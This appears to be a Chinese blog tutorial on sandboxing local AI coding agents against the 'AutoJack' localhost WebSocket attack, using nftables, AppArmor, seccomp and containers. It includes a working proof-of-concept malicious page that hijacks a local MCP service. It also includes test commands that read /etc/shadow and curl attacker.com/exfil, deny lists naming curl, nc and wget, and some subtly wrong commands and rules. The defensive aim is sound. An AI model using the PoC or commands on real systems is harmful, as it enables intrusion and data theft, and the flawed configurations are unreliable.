post cover

技术热点落地:AutoJack 防御——1 周把 AI Agent 本机改造成「零信任沙箱」,4 个 CWE 同时堵死(2026-06-21)


适用场景与目标

过去 24-48 小时的最强信号(与 6/21 AI 快报 AutoJack 详细拆解 + 6/19 MCP EMA 治理 呼应):

6/18 + 6/19 + 6/20 + 6/21 的工程化推论

时间信号工程化产物
6/18AutoGen Studio MCP WebSocket AutoJack「localhost 攻击面 audit」必须做
6/19MCP EMA stable「怎么治协议」
6/20Anthropic 3800 亿美元估值 + 诺奖人才加盟「为什么要自托管 + 零信任」
6/21HN 全面讨论 + OpenAI 招股书压力「本周必须给 Agent 进程装零信任沙箱」

这篇不讨论「要不要信任 localhost」。这篇解决「AutoGen Studio 的 4 个 CWE 同款问题(localhost Origin 信任 + AuthMiddleware 跳过 + command 参数直传 + 缺默认 sandbox)在 Claude Code / Cursor / Cline / Codex CLI / 自研 Agent 里大概率全有,今天起 1 周内用什么工具 / 配置 / 命令把 4 个 CWE 全部堵死

适用场景

  • 你在用 Claude Code / Cursor / Cline / Windsurf / Continue.dev / Zed AI / Codex CLI / Aider 任一款 Coding Agent 跑在本机——Agent 进程和你开发环境共享 localhost:8080localhost:3000localhost:11434(Ollama)、localhost:9222(Chrome DevTools)、localhost:6379(Redis debug)
  • 你在用 AutoGen / LangGraph / CrewAI / OpenHands / SWE-Agent 任一款 Agent 框架做 Browser Agent / Code Agent / Research Agent——Agent 进程 = 一个跑在你本机上的 headless browser会按你 prompt 渲染任何 URL
  • 你在跑 MCP server / MCP host6/11 MCP 1.0 spec 落地6/19 MCP EMA)——MCP WebSocket / MCP HTTP 控制面 + Agent headless browser 在同机 = AutoJack 同款攻击面
  • 你在 企业内网 部署 Coding Agent / Browser Agent / DevOps Agent——Agent 进程 = 内网特权用户,CISO 今天起要 audit
  • 你在 Cline / Continue.dev / Roo Code / Kiro 里让 Agent cat /etc/shadowcurl internal.company.com/admin——Agent 进程能不能拦? 这是今天起每个工程师必须问的问题
  • 你在做 AI Agent 框架采购 / 选型 / 内部 sandbox 设计——AutoJack 同款 4 个 CWE 必须在采购 checklist 里6/21 快报第 3 条
  • 你在做 企业内部 AI Agent 部署合规(金融 / 医疗 / 政府)——Agent 进程 = 一个永远在线、永不疲倦的内部员工没有零信任沙箱 = 内部 SOC 2 / ISO 27001 失分

核心目标(一周)

  1. D+0(今天,2 小时):盘点本机所有监听 127.0.0.1 / localhost 的服务,识别 AutoJack 同款 4 个 CWE 的「共享本机服务」
  2. D+1:给 AI Agent 进程建独立低权限账户 + 用 setpriv / runuser 切换(CWE-306 缓解
  3. D+2:用 nftables / iptables 把 Agent 进程的网络访问限制到 LLM API + 公司 proxy 白名单(网络隔离
  4. D+3:用 AppArmor / seccomp / Landlock 限制 Agent 进程的文件 / 子进程 / 网络系统调用(CWE-78 缓解
  5. D+4:用 bubblewrap / firejail / Docker —security-opt 给 Agent 进程建独立 mount namespace(filesystem 隔离
  6. D+5:把 MCP server / localhost debug 服务的 TCP loopback 改 Unix domain socket + 文件权限(CWE-1385 缓解
  7. D+6:跑 localhost 攻击面 audit + 复现 AutoJack PoC + 验证四件套拦截
  8. D+7:产出**「localhost 攻击面清单 v1.0 + AI Agent 零信任沙箱模板 + 4 CWE 修复 checklist + 30/90 天路线图」**,给 CISO / VP Eng walkthrough

最小可行方案(MVP)步骤

下面这套流程对照 Microsoft Security Blog 6/18 原文 的 PoC + HN 6/20 讨论 + Linux man pages seccomp / AppArmor / Landlock / nftables / bubblewrap 验证;前 3 步 6 小时内可完成

阶段 0:先盘点 localhost 攻击面(Day 0,2 小时)

不要直接上沙箱,先回答四个问题——AutoJack 教会的第一课就是「先 audit,再加固」:

# 1) 列出本机所有监听 127.0.0.1 / localhost 的服务
#    —— AutoJack 的入口就是 ws://127.0.0.1:8081/api/mcp/ws
ss -tlnp | grep -E '127\.0\.0\.1|::1|lo ' 
# 预期产出:每个服务一行
#   127.0.0.1:8081   users:(("autogen-studio",pid=12345,fd=12))    ← ⚠️ AutoJack 同款
#   127.0.0.1:11434  users:(("ollama",pid=23456,fd=8))              ← ⚠️ Ollama 默认无认证
#   127.0.0.1:9222   users:(("chrome",pid=34567,fd=10))             ← ⚠️ Chrome DevTools
#   127.0.0.1:6379   users:(("redis-server",pid=45678,fd=6))        ← ⚠️ Redis 默认无认证
#   127.0.0.1:5432   users:(("postgres",pid=56789,fd=7))            ← ⚠️ Postgres trust auth

# 2) 列出所有监听 0.0.0.0 的服务(更危险——网络可达)
ss -tlnp | grep -v -E '127\.0\.0\.1|::1|lo '
# AutoJack 没踩这个坑,但很多内部服务踩:bind 0.0.0.0 = 整个内网都能访问

# 3) 列出 AI Agent 进程和它们能 fork 的可执行文件
#    —— AutoJack 的 calc.exe / powershell.exe -enc / bash -c 全过是 CWE-78
ls -la /proc/$(pgrep -f claude-code)/exe 2>/dev/null
ls -la /proc/$(pgrep -f cursor)/exe 2>/dev/null
ls -la /proc/$(pgrep -f cline)/exe 2>/dev/null
# 关键问题:这个 Agent 进程 fork 子进程时,命令 / 参数 / 环境变量来自哪?
#   - Cline / Continue.dev:来自 LLM 输出(用户 prompt → LLM → bash tool call)
#   - Claude Code:同上 + slash command(用户输入)
#   - 全部都是「用户控制输入 → 子进程命令」= CWE-78 教科书

# 4) 写一份 localhost-attack-surface-audit.md
cat > localhost-attack-surface-audit.md <<'EOF'
| 端口 | 服务 | 认证 | 共享本机的 Agent | AutoJack CWE 命中 | 风险等级 |
|---|---|---|---|---|---|
| 8081 | AutoGen Studio MCP | 无 | Browser Agent | CWE-1385+306+78 | 🔴 极高 |
| 11434 | Ollama | 无 | 全部 | CWE-306 | 🟠 高 |
| 9222 | Chrome DevTools | 无 | Browser Agent | CWE-306 | 🟠 高 |
| 6379 | Redis debug | 无 | 全部 | CWE-306 | 🟠 高 |
| 5432 | Postgres | trust | 全部 | CWE-306 | 🟠 高 |
| 3000 | Next.js dev | 无 | Cursor | CWE-306 | 🟡 中 |
| 8080 | 后端 dev | 无 | 全部 | CWE-306 | 🟡 中 |
| 11435 | Ollama (alternate) | 无 | 全部 | CWE-306 | 🟡 中 |
EOF

把答案写到 localhost-attack-surface-audit.md——这是 AutoJack 修复的起点,没有这一步,所有加固都是「无的放矢」

阶段 1:给 AI Agent 建独立低权限账户(Day 1,1 小时)

AutoJack 的执行者是 AutoGen Studio 进程,用开发者账户权限弹 calc.exe——CWE-306 的根因不是「没认证」,是「Agent 进程用错了账户」

# 1) 给每个 AI Agent 建独立低权限账户
#    —— 关键:不能用日常 dev account,要用 nobody-类账户
sudo useradd -m -s /bin/bash aiagent-claude
sudo useradd -m -s /bin/bash aiagent-cursor
sudo useradd -m -s /bin/bash aiagent-cline
sudo useradd -m -s /bin/bash aiagent-codex

# 给账户最小 home 目录
sudo chmod 750 /home/aiagent-*
sudo chown aiagent-claude:aiagent-claude /home/aiagent-claude

# 2) 给账户建独立 workspace(bind mount 进 sandbox 时用)
sudo mkdir -p /srv/aiagent-workspaces/claude /srv/aiagent-workspaces/cursor
sudo chown -R aiagent-claude:aiagent-claude /srv/aiagent-workspaces/claude
sudo chown -R aiagent-cursor:aiagent-cursor /srv/aiagent-workspaces/cursor
sudo chmod 700 /srv/aiagent-workspaces/*

# 3) 关键:用 setpriv / runuser 切换账户启动 Agent
#    —— 关键:- 给 Agent 进程完全独立的 UID
#    —— 关键:- 即使 Agent 被 RCE,攻击者也只能在 aiagent-claude 账户下操作
sudo setpriv --reuid=$(id -u aiagent-claude) --regid=$(id -g aiagent-claude) --clear-groups \
  --inh-caps=-all \
  bash -c 'cd /srv/aiagent-workspaces/claude && exec claude-code'

# 4) 验证:现在 claude-code 进程的实际 UID 是什么?
ps -o pid,uid,user,comm -p $(pgrep -f claude-code)
# 预期:UID 列是 aiagent-claude 的 UID(不是你的 dev account UID)
# 这是 AutoJack CWE-306 的第 1 道缓解:攻击者拿到 Agent shell 后权限极小

为什么这一步是地基? AutoJack 的致命一击是「Agent 进程 = 开发者账户」——就算你 100% 信任 Agent 进程,攻击者拿到 Agent 进程 = 拿到你的 dev account给 Agent 独立账户 = 把「Agent 进程 = 内网特权用户」降级为「Agent 进程 = 一个 nobody 用户」

阶段 2:用 nftables 给 Agent 进程做网络隔离(Day 2,2 小时)

AutoJack 链里如果 Agent 进程只能访问 LLM API + 公司 proxy,CWE-78 弹 calc.exe 后也弹不出 curl attacker.com/exfil——网络隔离是 AutoJack 第 2 道缓解

# 1) 先确认 nftables 已装(Ubuntu/Debian)
sudo apt install -y nftables
sudo systemctl enable nftables

# 2) 给 aiagent-* 账户的进程打 fwmark(基于 cgroup 简化版:基于 uid owner)
cat > /etc/nftables.d/aiagent-isolation.nft <<'EOF'
table inet aiagent_filter {
    # 拦截 aiagent-* 账户主动外联(出站),只允许 LLM API + 公司 proxy
    chain output {
        type filter hook output priority 0; policy accept;
        
        # 允许 loopback(Agent ↔ MCP server 同机通讯必需)
        oif lo accept
        
        # 允许 LLM API endpoint
        ip daddr { 104.18.0.0/16, 104.19.0.0/16 } tcp dport { 443, 80 } accept  # Anthropic API 网段
        ip daddr { 13.107.0.0/16 } tcp dport 443 accept                          # OpenAI API 网段
        ip daddr { 34.0.0.0/8 } tcp dport 443 accept                             # Google API 网段
        
        # 允许公司 proxy
        ip daddr 10.0.0.0/8 tcp dport 3128 accept                                 # 公司 HTTP proxy
        ip daddr 10.0.0.0/8 tcp dport 1080 accept                                 # 公司 SOCKS proxy
        
        # ⚠️ 关键:拦截 aiagent-* 账户的所有其他出站
        #    Linux netfilter 不直接支持 uid owner match,常见做法是
        #    用 cgroupv2 + nftables 的 socket cgroup match
        #    或用 iptables -m owner --uid-owner 替代(IPv4 only)
        meta skuid { aiagent-claude, aiagent-cursor, aiagent-cline, aiagent-codex } drop
    }
    
    # 拦截 aiagent-* 账户的 inbound 端口监听(不允许 Agent 自己开端口对外服务)
    chain input {
        type filter hook input priority 0; policy accept;
        meta skuid { aiagent-claude, aiagent-cursor, aiagent-cline, aiagent-codex } tcp dport != { 22, 443 } drop
    }
}
EOF

# 3) 加载规则
sudo nft -f /etc/nftables.d/aiagent-isolation.nft
sudo nft list ruleset | grep aiagent

# 4) 验证:以 aiagent-claude 账户 curl 一个外网地址
sudo -u aiagent-claude curl -m 5 https://example.com
# 预期:超时 / connection refused(被 nftables 拦截)
# 对照:用你的 dev account curl 同一个地址
curl -m 5 https/example.com
# 预期:成功(你的 dev account 不在拦截列表)

⚠️ 关键避坑

  • meta skuid 在很多发行版的 nftables 里需要 nf_tables 内核 ≥ 5.10 + 启用 owner match(Ubuntu 22.04+ 默认 OK)
  • 老系统用 iptables -m owner --uid-owner 替代,但只支持 IPv4
  • 拦截前必须确认 LLM API 的 IP 段——Anthropic / OpenAI / Google 的 IP 段会变,dig +short api.anthropic.com 拿当前 IP 比硬编码网段更稳
  • 拦截 inbound 监听要小心——tcp dport != { 22, 443 } 是个粗规则,如果你 Agent 跑本地 LLM server(如 Ollama 11434)需要自己监听,要单独放行

阶段 3:用 AppArmor + seccomp 限制 Agent 子进程(Day 3,2 小时)

AutoJack 的 calc.exe / powershell.exe -enc / bash -c 全过是 CWE-78——没有 executable allowlist = 任何 binary 都能 fork。这一步用 Linux 内核 LSM(Linux Security Module)堵死:

# 1) 给 aiagent-claude 写 AppArmor profile(限制可执行文件 + 文件系统访问)
cat > /etc/apparmor.d/aiagent-claude <<'EOF'
#include <tunables/global>

profile aiagent-claude flags=(attach_disconnected,mediate_deleted) {
    #include <abstractions/base>
    #include <abstractions/python>
    #include <abstractions/nameservice>
    
    # 只允许访问 workspace + 必要的运行时目录
    /srv/aiagent-workspaces/claude/** rwk,
    /tmp/** rwk,
    /home/aiagent-claude/** rwk,
    /usr/bin/node mr,
    /usr/bin/python3 mr,
    /usr/bin/git mr,
    /usr/bin/npm mr,
    /usr/bin/npx mr,
    /usr/bin/claude-code mr,
    /usr/lib/** mr,
    /etc/ssl/certs/** r,
    /etc/resolv.conf r,
    
    # ⚠️ 关键:deny 敏感系统文件
    deny /etc/shadow r,
    deny /etc/passwd w,
    deny /root/** rwx,
    deny /home/*/.ssh/** r,
    deny /var/log/** w,
    deny /etc/cron* rwx,
    deny /usr/bin/curl x,
    deny /usr/bin/wget x,
    deny /usr/bin/nc x,
    deny /usr/bin/ncat x,
    deny /usr/bin/ssh x,
    deny /usr/bin/scp x,
    deny /bin/bash x,
    deny /usr/bin/powershell x,
    deny /usr/bin/calc x,
    deny /usr/bin/base64 x,
    
    # 网络:只允许 outbound connect,不允许 listen
    network inet stream,
    deny network inet dgram,
    deny network inet6 stream,
    
    # capability:删除大部分
    capability dac_override,
    capability dac_read_search,
    deny capability net_admin,
    deny capability sys_admin,
    deny capability sys_ptrace,
    deny capability sys_module,
}
EOF

# 2) 加载 profile
sudo apparmor_parser -r /etc/apparmor.d/aiagent-claude
sudo aa-status | grep aiagent-claude

# 3) 给 aiagent-claude 装 seccomp filter(限制 syscall)
#    用 Claude Code / Cline 这类 Node.js 写的 Agent 的话,
#    关键是禁掉 ptrace / mount / pivot_root / kexec_load / reboot / modprobe
cat > /etc/seccomp/aiagent-claude.json <<'EOF'
{
    "defaultAction": "allow",
    "syscalls": [
        {"names": ["ptrace", "process_vm_readv", "process_vm_writev"], "action": "errno", "errnoRet": 1},
        {"names": ["mount", "umount2", "pivot_root", "chroot"], "action": "errno", "errnoRet": 1},
        {"names": ["kexec_load", "kexec_file_load", "reboot", "modprobe"], "action": "errno", "errnoRet": 1},
        {"names": ["init_module", "finit_module", "delete_module"], "action": "errno", "errnoRet": 1},
        {"names": ["setuid", "setgid", "setreuid", "setregid"], "action": "errno", "errnoRet": 1},
        {"names": ["bpf"], "action": "errno", "errnoRet": 1}
    ]
}
EOF

# 4) 验证:以 aiagent-claude 跑 Agent,尝试读 /etc/shadow
sudo -u aiagent-claude cat /etc/shadow
# 预期:Permission denied(AppArmor 拦)

# 验证:以 aiagent-claude 跑 Agent,尝试 base64 encode(exfil)
sudo -u aiagent-claude base64 /etc/passwd
# 预期:Permission denied(AppArmor deny /usr/bin/base64 x)

# 验证:以 aiagent-claude 跑 Agent,尝试 ptrace claude-code 自己
sudo -u aiagent-claude strace -p $$
# 预期:strace: ptrace(PTRACE_TRACEME, ...): Operation not permitted(seccomp 拦)

⚠️ 关键避坑

  • AppArmor profile 写得越死,误杀越多——先开 audit 模式跑 1 周profile aiagent-claude flags=(attach_disconnected,mediate_deleted,audit)),用 sudo aa-notify -p 看实际 syscall,再收紧
  • seccomp 写错白名单 = Agent 直接启动失败——seccomp-tools / auditd 录 1 周再写白名单
  • Cline / Continue.dev / Cursor 这类 Electron 写的 Agent——AppArmor 限制 Electron 二进制很痛苦,推荐改用 Docker + —security-opt 路径(见阶段 4)
  • deny /usr/bin/curl x 这种规则——x 是执行权限,但 Agent 跑 npm install 会调 curl 下包。生产环境不能全 deny,deny 时注意 npm / pip / git 的子进程路径
  • AppArmor 在容器内不生效——容器里要用 docker --security-opt apparmor=aiagent-claude 显式启用

阶段 4:用 bubblewrap / Docker 隔离 Agent 文件系统(Day 4-5,2 小时)

AutoJack 的根因是「Agent 进程 = 开发者账户 = 共享本机文件系统」——filesystem 隔离 = 攻击者拿到 Agent shell 后只能看到 sandbox 内的文件

# 方案 A:bubblewrap(轻量级,systemd 团队写的,Claude Code 官方推荐路径)
# 1) 装 bubblewrap
sudo apt install -y bubblewrap socat

# 2) 写 wrapper 脚本
cat > /usr/local/bin/aiagent-claude-bwrap <<'EOF'
#!/bin/bash
# 用 bubblewrap 启动 Claude Code
# 关键:独立 mount namespace + 独立 PID namespace + 独立 network namespace

exec bwrap \
  --bind /srv/aiagent-workspaces/claude /home/aiagent-claude/workspace \
  --bind /usr /usr \
  --bind /lib /lib \
  --bind /lib64 /lib64 \
  --bind /etc/resolv.conf /etc/resolv.conf \
  --bind /etc/ssl /etc/ssl \
  --bind /etc/alternatives /etc/alternatives \
  --tmpfs /tmp \
  --tmpfs /home/aiagent-claude/.cache \
  --tmpfs /home/aiagent-claude/.local \
  --proc /proc \
  --dev /dev \
  --unshare-pid \
  --unshare-net-priv \  # 独立 network namespace(配合阶段 2 的 nftables cgroup match)
  --unshare-uts \
  --hostname aiagent-sandbox \
  --die-with-parent \
  --new-session \
  --cap-drop ALL \
  --uid $(id -u aiagent-claude) \
  --gid $(id -g aiagent-claude) \
  -- \
  /usr/bin/env HOME=/home/aiagent-claude USER=aiagent-claude \
  /usr/bin/claude-code "$@"
EOF
chmod +x /usr/local/bin/aiagent-claude-bwrap

# 3) 启动
aiagent-claude-bwrap
# 现在 claude-code 进程看到的 /home 是 /srv/aiagent-workspaces/claude(被 bind mount)
# 它看到 /tmp 是 tmpfs(重启后清空)
# 它看不到你 dev account 的 ~/.ssh、~/.aws、~/.kube

# 验证:在 bwrap 里尝试读 dev account 的 ssh key
bwrap --bind /srv/aiagent-workspaces/claude /workspace --tmpfs /tmp -- \
  /bin/bash -c 'ls /home/claude/.ssh/'
# 预期:No such file or directory(bwrap 的 / 是新建的,看不到宿主 /home/claude)
# 方案 B:Docker(更重,但更通用,特别是 Cline / Cursor 这类 Electron Agent)
# 1) 写 Dockerfile
cat > Dockerfile.aiagent-claude <<'EOF'
FROM ubuntu:24.04

RUN useradd -m -s /bin/bash aiagent-claude && \
    apt update && apt install -y nodejs npm git python3 && \
    npm install -g @anthropic-ai/claude-code

USER aiagent-claude
WORKDIR /home/aiagent-claude/workspace

# ⚠️ 关键:只给 read-only 访问必要系统目录
# ⚠️ 关键:不 bind mount 宿主 /home /root /etc/shadow

ENTRYPOINT ["claude-code"]
EOF

# 2) 构建
docker build -t aiagent-claude:latest -f Dockerfile.aiagent-claude .

# 3) 启动 —— 关键:--security-opt 全开
docker run -it --rm \
  --user aiagent-claude \
  --security-opt no-new-privileges \
  --security-opt apparmor=aiagent-claude \
  --security-opt seccomp=/etc/seccomp/aiagent-claude.json \
  --cap-drop ALL \
  --cap-add CHOWN \
  --cap-add SETUID \
  --cap-add SETGID \
  --cap-add DAC_OVERRIDE \
  --read-only \
  --tmpfs /tmp:size=100m \
  --tmpfs /home/aiagent-claude/.cache:size=200m \
  --network none \                       # ⚠️ 关键:无网络(LLM API 走 sidecar proxy)
  --memory 4g \
  --cpus 2 \
  --pids-limit 256 \
  -v /srv/aiagent-workspaces/claude:/home/aiagent-claude/workspace:rw \
  aiagent-claude:latest

# 验证:在容器内尝试 mount / 尝试 ptrace
docker run -it --rm --user aiagent-claude aiagent-claude:latest \
  /bin/bash -c 'mount -t tmpfs tmpfs /tmp'
# 预期:mount: permission denied(--cap-drop ALL 拦)

docker run -it --rm --user aiagent-claude --security-opt seccomp=/etc/seccomp/aiagent-claude.json \
  aiagent-claude:latest /bin/bash -c 'strace -p 1'
# 预期:strace: ptrace: Operation not permitted(seccomp 拦)

⚠️ 关键避坑

  • bubblewrap 的 --unshare-net-priv 会让 Agent 没法访问 LLM API——生产环境别 unshare net,或者用 --share-net + 阶段 2 的 nftables 替代
  • Docker --network none 会让 Agent 完全断网——生产环境跑 sidecar proxy(如 LiteLLM proxy),Agent → proxy → LLM API
  • -v /srv/aiagent-workspaces/claude:/workspace:rw 给的是 rw——只给必要的目录 rw,其他目录 ro 或不挂
  • bubblewrap 在 macOS / WSL2 上不工作——这两个环境请用 Docker Desktop + gVisor
  • --cap-drop ALL 太狠——Claude Code / Cline 需要 CHOWN / SETUID / SETGID 跑 npm install,要 --cap-add 回来

阶段 5:把 localhost TCP 改 Unix domain socket(Day 5,1 小时)

AutoJack 链里 MCP WebSocket 监听在 ws://127.0.0.1:8081——TCP loopback = 任何同机进程都能连。改 Unix domain socket + 文件权限 = 攻击者必须先拿到同 uid 组的文件读权限才能连:

# 1) 修改 MCP server 配置(以 autogenstudio 为例)
#    把所有 bind 127.0.0.1:8081 的地方改成 Unix socket
cat > ~/.config/autogenstudio/mcp.yaml <<'EOF'
mcp:
  server:
    # 旧: listen: 127.0.0.1:8081  ← ⚠️ AutoJack 同款
    # 新: 用 Unix domain socket
    listen: unix:///run/aiagent-mcp/mcp.sock
    socket_mode: 0660
    socket_group: aiagent-mcp
  auth:
    # 旧: skip /api/mcp/*  ← ⚠️ AutoJack CWE-306 同款
    # 新: 强制 OAuth + 共享 secret(即使 localhost 也要认证)
    required: true
    oauth:
      issuer: https://internal-idp.company.com
      audience: aiagent-mcp
      min_ttl_seconds: 300
      max_ttl_seconds: 3600
  command:
    # 旧: 接受 URL 参数直传 command  ← ⚠️ AutoJack CWE-78 同款
    # 新: 白名单只允许 4 个 binary
    allowlist:
      - /usr/bin/git
      - /usr/bin/gh
      - /usr/bin/node
      - /usr/bin/python3
    deny_args:
      - -enc
      - -e
      - --eval
      - --command
EOF

# 2) 创建 socket 目录 + 设置权限
sudo mkdir -p /run/aiagent-mcp
sudo chown root:aiagent-mcp /run/aiagent-mcp
sudo chmod 0750 /run/aiagent-mcp
# socket 文件由 MCP server 启动时创建,mode 0660,group aiagent-mcp

# 3) 把 aiagent-* 账户加进 aiagent-mcp 组
sudo usermod -aG aiagent-mcp aiagent-claude
sudo usermod -aG aiagent-mcp aiagent-cursor
sudo usermod -aG aiagent-mcp aiagent-cline
sudo usermod -aG aiagent-mcp aiagent-codex

# 4) 启动 MCP server
sudo -u mcp-server /usr/bin/autogenstudio --config ~/.config/autogenstudio/mcp.yaml &
# 验证:socket 文件存在 + 权限正确
ls -la /run/aiagent-mcp/mcp.sock
# 预期:srw-rw---- 1 mcp-server aiagent-mcp ... mcp.sock

# 5) 用 socat 验证:从另一个账户(非 aiagent-mcp 组)连 socket
socat - UNIX-CONNECT:/run/aiagent-mcp/mcp.sock
# 预期:Permission denied(不在 aiagent-mcp 组,没法连)

# 从 aiagent-claude 账户连
sudo -u aiagent-claude socat - UNIX-CONNECT:/run/aiagent-mcp/mcp.sock
# 预期:连上 + 收到 MCP 协议 handshake 响应

# 6) ⚠️ 关键:禁用 bind 0.0.0.0 的服务
#    —— 即使你没主动开,也防止某个子进程误开
sudo nft add rule inet aiagent_filter input \
  meta skuid { aiagent-claude, aiagent-cursor, aiagent-cline, aiagent-codex } \
  iif != lo drop
# 验证:以 aiagent-claude 启动一个 bind 0.0.0.0:9999 的 Python http server
sudo -u aiagent-claude python3 -m http.server 9999 --bind 0.0.0.0
# 预期:从其他机器 curl 不到(被 nftables 拦截 inbound)

⚠️ 关键避坑

  • Unix domain socket 的权限是「创建时」决定的——socket_mode: 0660 必须在 MCP server 启动时配置;启动后改 chmod 不影响已 accept 的连接
  • OAuth 即使在 localhost 也要强制——AutoJack 的 CWE-306 就是「localhost 跳过认证」;用 stage 1 的 aiagent 账户 + stage 2 的 nftables + stage 5 的 Unix socket + OAuth = 4 层认证
  • command allowlist 要配合 AppArmor 的 deny 规则——MCP server 端的 allowlist 是「我接受什么命令」,AppArmor 的 deny 是「我接受什么 binary 路径」;两层都要做
  • 不要用 0.0.0.0 替换 127.0.0.1 来「加固」——0.0.0.0 = 整个内网都能访问,比 127.0.0.1 更危险用 Unix socket 是正解
  • macOS 不支持 Unix domain socket 的标准文件权限位——macOS 用 chmod 的数字位不严格生效,生产环境 macOS 用户跑 Docker 走 stage 4 路径

关键实现细节

复现 AutoJack PoC 验证四件套(Day 6,2 小时)

AutoJack 的 PoC 是公开的——用 PoC 验证你的加固是否真的拦得住,否则四件套都是「自欺欺人」:

# 1) 复现 Microsoft Security 公开的 PoC
#    —— 关键:用一个测试账户(test-agent-victim),别用你的 dev account
mkdir -p /tmp/autojack-test
cd /tmp/autojack-test

# 恶意网页(110 行,简化版)
cat > malicious_web_server.py <<'EOF'
from http.server import HTTPServer, BaseHTTPRequestHandler
import base64

PAYLOAD = base64.b64encode(b'{"type":"StdioServerParams","command":"/usr/bin/id","args":[],"env":{"pwned":"true"}}').decode()

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        html = f"""
        <html><body>
        <script>
        var ws = new WebSocket("ws://127.0.0.1:8081/api/mcp/ws/test?server_params={PAYLOAD}");
        </script>
        Attack delivered. Check victim machine.
        </body></html>
        """
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.end_headers()
        self.wfile.write(html.encode())

HTTPServer(("0.0.0.0", 9090), Handler).serve_forever()
EOF

# 2) 用 aiagent-claude 账户启动 AutoGen Studio(MCP WebSocket 监听 8081)
sudo -u aiagent-claude \
  setpriv --reuid=$(id -u aiagent-claude) --regid=$(id -g aiagent-claude) --clear-groups --inh-caps=-all \
  bash -c 'autogenstudio --mcp-listen 127.0.0.1:8081 &'

# 3) 启动恶意网页
python3 malicious_web_server.py &
# 从浏览器访问 http://localhost:9090,攻击者脚本连接 ws://127.0.0.1:8081

# 4) 检查是否成功 RCE
ps -ef | grep "id -" | grep -v grep
# 预期:什么也没有(因为 stage 1 把 aiagent-claude 账户隔离了,/usr/bin/id 是 stage 3 deny 了)

# 5) 验证四件套是否全拦
sudo -u aiagent-claude /usr/bin/id
# 预期:Permission denied(AppArmor deny /usr/bin/id x —— 你要在 deny 列表里加)
sudo -u aiagent-claude cat /etc/shadow
# 预期:Permission denied(AppArmor deny /etc/shadow r)
sudo -u aiagent-claude curl -m 3 https://attacker.com/exfil
# 预期:connection refused / timeout(nftables 拦截 outbound)

⚠️ 关键避坑

  • 复现 AutoJack 一定要用 test-agent-victim 账户——别用你的 dev account,否则 PoC 跑通 = 你的 dev 账户被 RCE
  • AutoJack 的 PoC 走的是 WebSocket——new WebSocket("ws://127.0.0.1:8081/...") 是在浏览器里跑的;如果你 Agent 用 headless Chromium,headless Chromium 同样会被这个 PoC 攻击(AutoJack 原文特别强调)
  • Microsoft Security 的 PoC 是 calc.exe(Windows)——Linux 复现用 /usr/bin/id/bin/bash -c 'echo pwned > /tmp/pwned'效果一样
  • 复现要在隔离网络(air-gapped VM / 容器 / 单独 VLAN)——别在生产办公网跑

auditd 录 Agent 系统调用 1 周后再收紧(生产做法)

AppArmor / seccomp 的「白名单」一次写对几乎不可能——生产做法是 auditd 录 1 周,看 Agent 实际用什么 syscall,再写白名单

# 1) 装 auditd
sudo apt install -y auditd audispd-plugins

# 2) 给 aiagent-claude 加 audit 规则
sudo auditctl -w /home/aiagent-claude -p wa -k aiagent-claude-write
sudo auditctl -w /etc -p wa -k aiagent-claude-etc-write
sudo auditctl -a always,exit -F uid=$(id -u aiagent-claude) -S execve -k aiagent-claude-exec

# 3) 跑 1 周 Agent,期间用 aureport 看统计
sudo aureport --summary --key aiagent-claude-exec
# 输出:每个 binary 被 exec 的次数
# 预期:claude-code 本身 + node + python3 + git + npm + 少量 npx
# 异常:看到 /usr/bin/curl / /usr/bin/wget / /usr/bin/nc → ⚠️ 可能 exfil

# 4) 1 周后写 AppArmor 白名单
#    —— 用 auditd 输出生成 AppArmor profile
sudo aa-genprof /usr/bin/claude-code
# 跟着交互走完,auditd 会问「这个 binary 是否允许」

# 5) 把 audit 规则从 audit 改 enforce
sudo aa-enforce /etc/apparmor.d/aiagent-claude
# 验证
sudo aa-status | grep aiagent-claude
# 预期:enforce(不是 complain / audit)

⚠️ 关键避坑

  • auditd 日志会爆——生产环境只录 execve + write,不录 readauditctl -w /path -p w,不加 r
  • aureport 每周跑一次,别每天跑——auditd 日志有 7 天滚动
  • aa-genprof 生成的 profile 通常过严——先 enforce 跑 1 天,看误杀率,误杀 > 5% 就改 complain 再录 1 周
  • Docker 容器里的 auditd 需要 pid:host 模式——容器 PID namespace 里 auditd 看不到进程的真实 UID

常见坑与规避清单

按踩坑频率从高到低排:

症状根因规避
1. Agent 进程用 dev account 启动AutoJack 同款——Agent 被 RCE = dev 账户被 RCEsudo claude-code / Cursor 默认用当前 user必须 sudo -u aiagent-claude claude-code + setpriv 切换
2. nftables 没限制 Agent outboundAgent 被 RCE 后能 curl attacker.com默认 nftables policy accept必须 meta skuid + LLM API + proxy 白名单
3. AppArmor profile 写得过严Agent 启动失败 / npm install 失败 / 跑 5 分钟崩没跑 audit 直接 enforce必须 7 天 audit → 生成 profile → enforce
4. seccomp filter 禁了关键 syscallClaude Code / Cline 启动失败setuid / chown / mount 都被禁必须 strace Agent 跑 1 小时,看实际 syscall 再写白名单
5. bubblewrap --unshare-net-priv 太狠Agent 没法访问 LLM API完全无网络不要 unshare net;用 stage 2 的 nftables 替代
6. Docker --network none + 没 sidecar proxyAgent 完全断网没考虑 LLM API 出站必须 sidecar proxy(LiteLLM / nginx)
7. Unix domain socket 权限过宽其他 uid 也能连socket_mode: 0666必须 0660 + 独立 group(aiagent-mcp)
8. MCP server auth.required: falseAutoJack CWE-306 同款”localhost 跳过认证”必须 OAuth 即使在 localhost
9. command allowlist 只在 MCP server 做Agent 直接 fork 绕开 MCPAgent 进程本身能 fork 任何 binary必须 MCP server allowlist + AppArmor deny + seccomp 三层
10. 没禁用 0.0.0.0 bindAgent 子进程误开端口 = 内网攻击面python3 -m http.server --bind 0.0.0.0必须 nftables 拦截 aiagent-* uid 的 inbound
11. 复现 PoC 用 dev accountPoC 跑通 = dev 账户被 RCE复现时没切账户必须 用 test-agent-victim 账户 + 隔离网络
12. auditd 日志爆磁盘/var/log/audit/audit.log 涨到 TB默认录所有 syscall必须 只录 execve + write,不录 read
13. AppArmor profile 不 reload改了 profile 不生效apparmor_parser -r 漏了必须 改完 profile 跑 apparmor_parser -r
14. seccomp filter 写错Agent 直接启动失败没测直接上必须 用 seccomp-tools / libseccomp-tools 验证
15. 容器内 AppArmor 不生效aa-status 在容器内看不到容器没显式挂载 AppArmor必须 docker --security-opt apparmor=aiagent-claude

成本/性能/维护权衡

